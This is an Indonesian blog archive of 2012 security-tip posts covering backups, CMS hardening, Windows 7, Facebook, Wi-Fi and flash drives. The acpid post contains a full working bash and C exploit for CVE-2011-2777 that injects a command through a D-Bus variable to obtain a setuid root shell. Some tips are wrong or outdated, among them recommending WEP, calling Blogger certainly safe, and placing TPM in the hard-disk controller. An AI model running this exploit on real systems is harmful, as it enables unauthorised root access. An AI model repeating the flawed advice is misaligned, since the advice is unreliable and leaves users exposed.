E-Commerce: Juli 2012

Minggu, 08 Juli 2012

Tips Mengamankan Data Penting di Internet

(Keamanan Komputer)

Tips Mengamankan Data Penting di Internet

Membackup data di internet merupakan cara mengamankan data-data Anda dan sebagai antisipasi jika komputer atau flashdisk di rumah rusak sehingga data Anda hilang atau terjadinya kecelakaan yang tidak diharapkan seperti rumah terbakar, gempa dan sebagainya. Membackup data di internet adalah menyalin data di komputer dan disimpan pada suatu server di internet dengan maksud membuat cadangan data. Data-data penting yang bisa di backup adalah semua data yang Anda anggap penting misal data skripsi, data perusahaan, catatan pribadi, artikel-artikel penting, soft copy ijasah, daftar nilai, dan sebagainya.

Ada banyak cara membackup data di internet, antara lain yaitu:

A. Membackup data di draft pada e-mail

Membackup data di draft pada e-mail adalah cara yang paling mudah dilakukan. Anda hanya tinggal menyiapkan data-data Anda, jika file-filenya banyak maka lebih baik dikompres ke format RAR atau ZIP (menggunakan program WinRAR atau WinZIP). Selanjutnya buka e-mail dan masukan pada lampiran e-mail (attachment), lalu simpan di draft.

B. Membackup data di situs file sharing

Situs file sharing adalah situs yang menyediakan layanan tempat atau memori untuk menyimpan data-data seperti file dokumen, musik, video, gambar, program aplikasi, utility, dsb dan selanjutnya untuk dibagikan kepada orang lain dengan cara diberikan link untuk mendownload. Contoh situs file sharing yang populer adalah Ziddu, Rapidshare, dan Mediafire. Sebenarnya situs file sharing adalah layanan bukan untuk backup data tetapi data disimpan untuk dibagikan kembali kepada orang-orang yang diberikan link untuk mendownloadnya. Hanya saja di sini dapat Anda manfaatkan untuk menyimpan data-data Anda dan jika suatu saat membutuhkan dapat Anda download.

C. Membackup data di situs backup online

Situs backup online adalah situs yang memang dikhususkan untuk menyimpan cadangan data-data saja tanpa dibagikan kembali kepada orang lain. Contoh situs backup online adalah IDrive, ADrive, iBackup, dan Xdrive.

Mengamankan Wordpress dari Hacker

(Keamanan Komputer)

Mengamankan Wordpress dari Hacker

Berikut cara mengamankan wordpress anda dari hacker :

1. Login LockDown
Plugin ini berfungsi memblokir suatu IP-Address yang telah salah login (/wp-login.php) setelah beberapa kesempatan, tergantung konfigurasi anda
2.WP Security Scan
Fungsinya scanner, bisa SQL-Scanner, File Inclusion Scanner dll sehingga serangan hacker bisa terpantau dan bisa ditolak.
3.WordPress Firewall
Fungsinya menyelidiki setiap permintaan dengan simple WordPress-specific heuristics untuk mengidentifikasi dan menghentikan serangan.

Diatas adalah beberapa plugin yang mungkin bisa mengamankan WordPress anda. lebih baik Blogger dari pada WordPress karena WordPress mudah di serang hacker, tetapi kalau Blogger sudah pasti aman. dikarenakan Blogger adalah produk dari sebuah situs ternama google.com.

Tips Mengamankan Windows 7

(Kemanan Komputer)

Tips Mengamankan Windows 7

Popularitas Windows 7 di dunia sistem operasi memang tinggi. Setelah dukungan Microsoft terhadap Windows XP dihentikan, membuat user mulai beralih mencoba Windows 7. Terutama bagi user yang menginginkan sebuah user experience baru dari Windows 7, karena Windows 7 sendiri menawarkan berbagai macam user experience baru yang belum pernah ada atau hasil pengembangan dari versi sebelumnya.

Berbagai macam kalangan user dari yang pro hingga newbie tentunya merasakan user experience yang berbeda pula. Bagi Anda yang baru dengan Windows 7, ada baiknya memperhatikan faktor keamanan sistem operasinya untuk mencegah terjadinya kerusakan sistem oleh pihak-pihak yang bertanggung jawab. Beberapa waktu yang lalu, penulis pernah membahas tentang merawat dan mengelola Windows 7 agar performa tetap terjaga. Namun, kali ini penulis akan membahas tentang bagaimana mengamankan Windows 7 itu sendiri.

Memberikan Password

Ada alasan mengapa user terkadang enggan memberikan password pada komputernya. Mereka biasanya enggan membuang waktu dengan mengisikan password pada saat login Windows. Mungkin hal tersebut tidak bermasalah saat Anda memang bersedia untuk merelakan semua data diakses oleh orang lain. Password yang disarankan adalah password yang tidak mudah ditebak dengan memberikan karakter-karakter tertentu. Untuk membuat password untuk akun Anda, bisa diakses melalui Control Panel > User Accounts > Create a password for your account. Isikan password yang Anda inginkan. Hint diisi jika Anda ingin memberikan petunjuk perihal password Anda.

Menentukan User Account

Dalam penggunaan komputer yang bersama-sama seperti pada lingkungan keluarga, Berikan akun tersendiri pada setiap user agar tidak semua user memiliki akses yang sama pada komputer Anda. Untuk membuat akun baru, Anda bisa mengakses Control Panel > User Accounts > Manage another account > Create new account. Isikan nama akun, dan tentukan jenis akunnya. Pilih jenis Standard Userkarena ada baiknya jika tipe administrator cukup satu saja agar tidak banyak yang bisa merubah sistem. Alternatif lainnya adalah Anda bisa mengaktifkan guest account pada fitur Manage another account tadi. Dengan mengaktifkan guest account, maka user biasa bisa memakai komputer dengan akses yang dibatasi oleh administrator.

Update Driver dan Aplikasi

Anda tentunya menggunakan aplikasi-aplikasi tertentu untuk membantu menyelesaikan pekerjaan Anda. Entah itu aplikasi perkantoran, multimedia, web browser, dan sebagainya. Jika ada update terbaru dari aplikasi-aplikasi yang kita pakai, jangan ragu untuk melakukan update. Siapa tahu update tersebut bisa menutup celah atau kekurangan aplikasi yang bisa membahayakan sistem. Begitu juga dengan driver hardware, segera lakukan update jika memang tersedia update. Jika kesulitan untuk melakukan pengecekan, manfaatkan aplikasi dari pihak ketiga untuk memeriksa ketersediaan updater terbaru dari aplikasi yang kita pakai.

Aktifkan Firewall saat berinternet

Windows 7 memiliki default firewall yang bisa Anda manfaatkan sebagai pengamanan komputer dari kejahatan yang mungkin terjadi dalam network atau internet. Pengaturan firewall bisa Anda temukan di Control Panel > Windows Firewall. Untuk konfigurasinya secara umum bisa memilih Turn Windows Firewall on or off. Anda bisa menggunakan firewall saat berada pada jaringan publik dengan mengaktfkan Windows Firewall untuk public network. Tapi ada kalanya antivirus yang Anda pakai memiliki Firewall sendiri yang juga bisa Anda manfaatkan sebagai pengamanan.

Update Windows

Update Windows itu penting untuk memperbaiki kekurangan pada sistem operasi. Lakukan update Windows jika Microsoft telah menyediakan update terbaru. Agar lebih mudah, kita bisa mengatur Automatic Updates pada Windows 7. Khusus update Windows 7 sudah pernah dibahas pada artikel sebelumnya tentang Manajemen Update Windows 7.

Gunakan Fitur Action Center

Fitur Action Center pada Windows 7 dapat memberikan notifikasi pada user tentang kondisi sistem saat itu. Apakah anti virus aktif, status Firewall, ketersediaan update, dan pesan-pesan terkait sistem lainnya. Biasanya notifikasi tersebut muncul di taskbar sebelah kanan. Pengaturan Action Center bisa Anda buka di Control Panel > Action Center > Change Action Center setting. Tentukan pesan terkait sistem yang ingin Anda aktifkan sesuai dengan kebutuhan.

Pasang Anti Virus

Tanpa anti virus sama saja dengan membahayakan sistem operasi. Virus atau program jahat lainnya bisa merusak sistem atau menurunkan performa Windows 7 kita. Tak hanya itu, virus juga sulit terdeteksi sehingga penanganan yang tidak tepat bisa jadi malah merusak sistem. Pencegahan itu lebih baik daripada mengobati, jadi install anti virus di Windows 7 agar terlindungi dari virus.Ada banyak anti virus gratis ampuh yang bisa Anda coba. Salah satunya adalah Microsoft Security Essential yang disediakan oleh Microsoft sendiri.

Upgrade Hardware

Upgrade hardware juga bisa jadi salah satu metode pengamanan Windows 7. Apa memang bisa? Kita bisa ambil contoh TPM (Trusted Platform Module) yang terdapat pada controller harddisk untuk melindungi dari program-program yang mencurigakan. Maka, jika dana mencukupi disarankan untuk mengganti harddisk Anda yang sudah berumur. Atau jika ada dana lebih, Anda bisa mengganti motherboard ke versi terbaru.

Cara Mengamankan Joomla dari Hacker

(Keamanan Komputer)

Cara Mengamankan Joomla dari Hacker

Dengan adanya Content Management System (CMS) open source seperti Mambo / Joomla, Drupal, Xoops, dll, kita sangat dimudahkan terutama yang kurang memahami bahasa pemrograman untuk memiliki website, blog, pribadi yang interaktif, namun menggunakan software tersebut ada untung dan ruginya. Untungnya kita ga perlu capek-capek membuat CMS.
Ruginya semua yang pake CMS tersebut juga tahu source code website kita. Jadi lebih rentan terhadap serangan-serangan hacker. disini adalah beberapa tips yang untuk mengamankan situs Mambo / Joomla dari serangan hacker :

1. Rename file configuration.php menjadi nama lain. Agak repot sih, kita jadi harus ubah beberapa file di Mambo / Joomla, tapi ini ga seberapa dibanding kalo website kita dibobol orang. Kalo perlu file yang dah direname tsb, kita protect lagi di .htaccess supaya tidak bisa diakses dari browser. Trus kalo bisa file tersebut jgn di chmod ke 777, begitu kita selesai mengubah Global Configuration di halaman admin Mambo / Joomla, jangan lupa untung mencentang option “Make unwriteable after saving”.
2. Begitu Mambo / Joomla sudah terinstal, hapus file configuration.php-dist, file ini berisi data konfigurasi default Mambo dan bisa di akses lewat browser
3. Lindungin direktori administrator menggunakan .htpaswd
4. Hapus folder Instalation.
5. Hapus semua tulisan yang memberitahu user kalo website pake Mambo / Joomla.
6. Selalu ikuti perkembangan Mambo / Joomla
7. Non aktifkan username “admin”, karena “admin” adalah username default bawaan dari Mambo/Joomla.

Celah Keamanan Ubuntu 11.10 ACPID

(Keamanan Komputer)

Celah Keamanan Ubuntu 11.10 ACPID

Baru-baru ini ditemukan celah keamanan pada ubuntu yang terpasang utilitas Acpid untuk versi Ubuntu 11.10. Acpid adalah sebuah Utilitas pada linux guna mendukung ACPI (Advanced Configuration and Power Interface) untuk manajemen daya, manajeman suhu pada mobile, desktop, dan server.

Exploit akan berjalan ketika kita menekan tombol power sehingga memungkinkan untuk mendapatkan privileges dari user yang sedang aktif saat itu.

##################################################################
# Exploit Title: Acpid Privilege Boundary Crossing Vulnerability #
# Google Dork: #
# Date: 23-11-2011 #
# Author: otr #
# Software Link: https://launchpad.net/ubuntu/+source/acpid #
# Version: 1:2.0.10-1ubuntu2 #
# Tested on: Ubuntu 11.10, Ubuntu 11.04 #
# CVE : CVE-2011-2777 #
##################################################################
#!/bin/bash
PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"
KDEDC="kded4.c"
KDEDEXE="kded4"
TRIGGER="/etc/acpi/powerbtn.sh"
rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC
echo "[+] Setting umask ke 0 untuk writable files."
umask 0
echo "[+] Preparing binary payload."
# mencoba untuk mendapatkan suid root shell, jika tidak kita hanya akan mendapatkan
# shell dari user lain
cat > $PAYLOADC <<_EOF
#include <sys/stat.h>
void main(int argc, char **argv)
{
if(!strstr(argv[0],"shell")){
printf("[+] Preparing suid shell.\n");
system("cp /var/crash/payload /var/crash/shell");
setuid(0);
setgid(0);
chown ("/var/crash/shell", 0, 0);
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
}else{
execl("/bin/sh", "/bin/sh", "-i", 0);
}
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC
echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include <unistd.h>
void main (){
while(42){
sleep(1);
if( access( "/var/crash/shell" , F_OK ) != -1 ) {
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
exit(0);
}
}
}
_EOF
gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC
echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxx & $PAYLOADEXE"
echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Menunggu Tombol power di tekan ."
echo "[+] anda akan mendapatkan shell pada console ini."
./$KDEDEXE
rm $KDEDEXE

Tips Mengamankan Akun Facebook dari Hacking

(Keamanan Komputer)

Tips Mengamankan Akun Facebook dari Hacking

1. Buat Enable Secure Browsing pada facebook:
Facebook kini telah mendukung fasilitas SSL encryption (https--Hypertext Transfer Protocol Secure) untuk semua akses browsing ke situs facebook, dan sebaiknya anda aktifkan jika anda sedang browsing dari tempat umum seperti cafe, hotel, bandara, atau dengan fasilitas hot spot yang menggunakan akses point umum.
Jika settingan pada facebook anda belum aktif, maka berikut adalah cara untuk mengaktifkannya:

Masuk ke Account Setting, klik pada ikon security yang berada di sebelah kiri lalu pilih Secure Browsing *Edit. Beri tanda centang pada "Browse Facebook on a secure connection (https) when possible." Lalu klik Save Changes,

2. Aktifkan Login Notifications
Mengaktifkan login notifications akan memberitahukan kepada anda ketika Akun facebook anda sedang diakses oleh perangkat lain. Caranya sama seperti tip 1 di atas, tetapi kali ini pilih pada Notifications. Jika ada orang lain selain anda yang mengakses akun anda, maka anda akan memperoleh pemberitahuan melalui e-mail.

Jika Anda belum mengaktifkan Login notifications pada settingan facebook anda, maka berikut ini adalah cara untuk mengaktifkannya: Masuk ke Account Setting, klik pada ikon security yang berada di sebelah kiri lalu pilih Secure Browsing *Edit. Beri tanda centang pada "Email and Text message/Push

3. Gunakan App Passwords:
App passwords adalah one-time passwords yang Anda gunakan untuk login ke aplikasi Anda, tanpa perlu memasukkan password Facebook. Untuk mendapatkannya, masuk ke Setting Account, kemudian pilih tab Security. Klik "Edit" di samping App Passwords, lalu ikuti petunjuknya.

Saran saya, anda harus berhati-hati dan meninjau ulang izin yang anda berikan kepada aplikasi Facebook sebelum menginstal dan menggunakannya.

4. Hati-hati dengan apa yang anda tulis(share):
Informasi yang anda bagi(tulis) dalam profile anda kadang-kadang bisa dimanfaatkan oleh hacker dalam menjalankan aksinya. Misalkan informasi tentang tanggal lahir anda yang biasanya dipakai sebagai pertanyaan untuk keamanan pasword anda.
Berikut ada beberapa cara yang bisa kita lakukan:
Arahkan ke halaman Privacy Setting Page (Pengaturan Privasi) Anda dan klik "Edit Setting" di samping"How Tags Work."

5. Teratur untuk mengganti password yang anda Pakai:
Kita biasanya mengabaikan hal ini, tetapi jika Anda mendapatkan peringatan tentang seseorang mengakses account Anda selain Anda, atau melihat postingan aneh tanpa anda pernah menulisnya, kemungkinan besar ada orang yang ingin meng "hack" anda. Langkah pertama yang anda ambil adalah sesegera mungkin untuk mengganti password akun facebook anda.

6. Jangan pernah mencoba untuk menginstal aplikasi untuk menghapus timeline Anda

7. Log Out dari Facebook Ketika Anda Sudah Selesai :

Setelah selesai browsing Facebook, pastikan Anda log out. Ini akan mencegah ancaman, seperti 'Likejacking, "yang memanfaatkan log-in sesi ke Facebook.

8. Jangan aktifkan Pengingat Password (Remember Password) pada browser Anda bila berada di tempat umum:

Jika hal ini terjadi atau anda lupa untuk sign out, maka anda dapat log out jarak jauh, caranya: Dari halaman Pengaturan Akun (Account Setting), klik tab "Security" di sebelah kiri. Pilih "Edit" di sebelah "Active Sessions".

Informasi di atas akan menunjukkan tempat Anda login pada sebuah komputer, ketika Anda terakhir mengakses akun facebook anda dari komputer tersebut. Untuk log out dari salah satu sesi, cukup klik " End Activity ."

9. Hindari Penggunaan Aplikasi yang tidak perlu:

Cobalah untuk menghindari menggunakan aplikasi pihak ketiga yang tidak terpercaya. Hal ini bisa menjadi penyebab dari hilangnya akun facebook anda. Karena dengan mengijinkan pihak ketiga mengakses, maka mereka dapat mengakses informasi pribadi Anda seperti email id, hal ini dapat membantu hacker untuk menghack Id Facebook anda.

10. Jadilah Smart dan Jangan klik dan link Mencurigakan:
Gunakan kualitas perangkat lunak keamanan yang baik - anti-virus, anti-malware untuk melindungi dari Trojan akses key-logger atau remote (RAT). Jika Andamenemukan link yang mencurigakan atau link video porno di dinding, Jangan bereksperimen, langsung dihapus saja.

Cara Mengamankan Jaringan Wireles dari Hacker

(Keamanan Komputer)

Cara Mengamankan Jaringan Wireles dari Hacker

Alasan utama untuk mengamankan jaringan nirkabel adalah untuk menghentikan seseorang yang tidak memiliki izin untuk menggunakan Jaringan. Lebih sulit untuk mengamankan jaringan nirkabel dari hacker dibandingkan dengan jaringan kabel klasik. Hal ini disebabkan oleh kenyataan bahwa jaringan nirkabel dapat diakses di mana saja dalam berbagai antena.

Untuk mengamankan jaringan nirkabel dari hacker, kita harus mengambil langkah-langkah yang tepat untuk membuat proteksi terhadap masalah keamanan. Jika Anda jaringan nirkabel tidak aman dari hacker, Anda mungkin berakhir tanpa layanan. Konsekuensinya juga mungkin mencakup pemanfaatan jaringan anda untuk serangan jaringan yang lebih lanjut. Untuk mengamankan jaringan nirkabel dari hacker, Anda dapat mengikuti tips untuk mengamankan jaringan nirkabel berikut ini :

Penempatan Antena yang Strategis :

Hal pertama yang harus Anda lakukan adalah posisi jalur akses antena harus di letakkan di tempat yang membatasi jangkauan sinyal agar tidak melangkah lebih jauh dari area yang dibutuhkan. Anda tidak perlu menempatkan antena dekat jendela kaca karena tidak akan dapat menghambat sinyal tersebut. Tempatkan antena di satu lokasi pusat gedung.

Gunakan WEP:

WEP adalah singkatan dari protokol Wireless enkripsi. Ini adalah alat teknik untuk mengenkripsi lalu lintas di jaringan nirkabel. Anda tidak boleh melewatkannya yang akan memungkinkan hacker untuk mendapatkan akses instan lalu lintas melalui jaringan nirkabel anda.

Mengubah SSID, menonaktifkan SSID:

SSID adalah singkatan dari service set identifier. Itu adalah jalur yang digunakan untuk pengakuan oleh titik akses nirkabel agar pelanggan mampu untuk melakukan sambungan. Untuk setiap titik akses nirkabel diatur, pilih eksklusif serta SSID yang unik. Juga, jika itu dicapai, menahan siaran SSID yang di atas antena. Ini muncul dalam daftar jaringan yang ditawarkan, sementara mampu memberikan pelayanan seperti biasa.

Nonaktifkan DHCP :

Dengan cara ini, hacker akan bekerja keras untuk memecahkan parameter TCP/IP, subnet mask serta alamat IP untuk menghack jaringan nirkabel Anda.

Menonaktifkan atau memodifikasi pengaturan SNMP :

Mengubah setting serta pengaturan SNMP untuk pengguna jaringan. Anda juga dapat menonaktifkannya. Jika tidak para hacker akan dapat menggunakan SNMP untuk mendapatkan info yang signifikan tentang jaringan nirkabel Anda.

Memanfaatkan daftar akses :

untuk keamanan tambahan pada jaringan nirkabel Anda, dan jika jalur akses Anda mendukung fitur ini, gunakan daftar akses. Daftar akses memungkinkan kita menentukan dengan tepat mesin yang diperkenankan untuk lampiran ke salah satu jalur akses. Jalur akses yang termasuk daftar akses dapat menggunakan protokol file transfer sederhana (TFTP) saat ini dan seterusnya dalam rangka untuk men-download daftar diperbaharui untuk menghindari para hacker.

Tips Melindungi Flashdisk tanpa antivirus

(Keamanan Komputer )

Tips Melindungi Flashdisk Tanpa antivirus

Flashdisk menjadi media penyimpanan data yang paling sering digunakan. Mudah dibawa kemana-mana, mudah disimpan dan tidak membutuhkan tempat khusus untuk membawanya. Flashdisk sangat rentan tertular virus dan menularkan virus. Jadi, bagaimana cara mencegah flashdisk Anda agar tidak tertular virus dan menjadi sarang virus?

LANGKAH SINGKAT :

Buat folder autorun.inf di flashdisk
Buat file dengan karakter unik di folder autorun.inf

LANGKAH DETAIL :

Buatlah sebuah folder dengan nama “autorun.inf” (tanpa kutip) dalam flashdisk.
Masuklah folder autorun.inf tersebut kemudian buatlah file dari notepad dengan cara klik kanan di tempat kosong pilih New pilih Text Document dan berilah nama sesuka Anda, misal coba.txt
Bukalah program CHARACTER MAP dengan cara masuk START kemudian ALL PROGRAMS, ACCESORIES, SYSTEM TOOLS, dan CHARACTER MAP.
Setelah CHARACTER MAP terbuka, pilih font yang berakhiran Unicode, misal Arial Unicode. Scroll kebawah sampai terlihat huruf-huruf unik seperti tulisan China.
Pilih 5 atau lebih karakter atau huruf China yang Anda inginkan, klik dua kali tiap kali Anda memilihnya. Setelah selesai klik tombol Copy.
Rubahlah nama file coba.txt dengan karakter unik pada step 5 tadi dengan cara kembalilah ke flashdisk Anda, masuklah ke folder autorun.inf, klik kanan pada file coba.txt, pilih rename, kemudian tekan secara bersama-sama Ctrl+V. (Jika keluar karakter kotak-kotak abaikan saja)
Selamat, anda telah mempelajari tips mudah cara melindungi flashdisk dari virus.

Penjelasan singkat : folder Autorun.inf yang Anda buat tadi akan memblokir virus membuat file autorun.inf yang mengangkut virus. Virus yang cerdas akan berusaha menghapus folder autorun.inf, tetapi karena di dalamnya ada file dengan karakter atau tulisan unik tadi, virus tidak akan bisa menghapusnya